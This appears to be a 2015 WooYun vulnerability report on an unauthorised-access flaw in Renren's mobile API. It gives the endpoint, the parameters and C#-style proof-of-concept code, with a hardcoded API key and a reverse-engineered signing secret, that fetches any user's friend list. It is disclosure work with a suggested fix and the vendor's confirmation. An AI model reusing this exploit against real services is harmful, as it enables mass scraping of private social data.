破解人人API之未授权获得任意用户好友列表

编号106709
Urlhttp://www.wooyun.org/bug.php?action=view&id=106709
漏洞状态厂商已经确认
漏洞标题破解人人API之未授权获得任意用户好友列表
漏洞类型未授权访问/权限绕过
厂商人人网
白帽子小手冰凉
提交日期2015-04-09 00:19:00
公开日期2015-07-08 13:56:00
修复时间(not set)
确认时间2015-04-09 00:00:00
Confirm Spend0
漏洞标签设计缺陷/边界绕过 android安全
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank5
漏洞简介
破解人人API之未授权获得任意用户好友列表
漏洞细节

首先人人有公开的API,今天发现的这是公开的中间的一个,但是公开API是要申请才能使用的,这里发现的不需要任何申请,只需要你有人人账号就可以。
登陆手机端人人,查看自己的好友的好友列表,抓包截取数据包

url
http://api.m.renren.com/api
字段如下
api_key
call_id
gz
hasGender
hasNetwork
method
page
page_siz
session_key
userId
sig


下面需要进行数据伪造,session_key是自己登陆后或的token,抓包就能看到,关键是字段sig,校验字段,这里利用之前提交的漏洞逆向出的校验计算算法,整个数据包产生过程如下

string api_key = "8b281811f80c471c8d337f5434dd5708";
string session_key = <自己的token>;
public string getFriends(string user_id)
{
string date = "";
date += "api_key=" + api_key;
date += "&call_id=" + inc.nowtime();
date += "&gz=compression";
date += "&hasGender=1";
date += "&hasNetwork=1";
date += "&method=friends.getFriends";
date += "&page=1";
date += "&page_size=2000";
date += "&session_key=" + session_key;
date += "&userId=" + user_id;
date += "&v=1.0";
string attach = "931cd71b96bf45b150f0ab8591cd9273";
date += "&sig=" + inc.gMD5(date.Replace("&", "") + attach);
return (Post.HttpPostGzip("http://api.m.renren.com/api", date, null));
}


其中两个十六进制字符串都是逆向出的固定值
这样就能获得任意用户的好友列表。
危害涉及到信息泄露,批量爬去然后进行大数据分析等等。
利用的时候写了一个小程序测试如下,随便找一个妹子:

QQ图片20150408220917.png


注意看她的id和好友个数

QQ图片20150408221026.jpg

POC

如上

修复方案

校验算法,还有那两个固定字符串需要好好处理下

状态信息 2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-09: 厂商已经确认,细节仅向厂商公开
2015-04-12: 细节向第三方安全合作伙伴开放
2015-06-03: 细节向核心白帽子及相关领域专家公开
2015-06-13: 细节向普通白帽子公开
2015-06-23: 细节向实习白帽子公开
2015-07-08: 细节向公众公开
厂商回复非常感谢!
回应信息危害等级:中漏洞Rank:5 确认时间:2015-04-09 13:54
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

求带!+1

大物期末不能挂02015-04-09 12:02:00

求带!叼

px162402015-04-09 10:07:00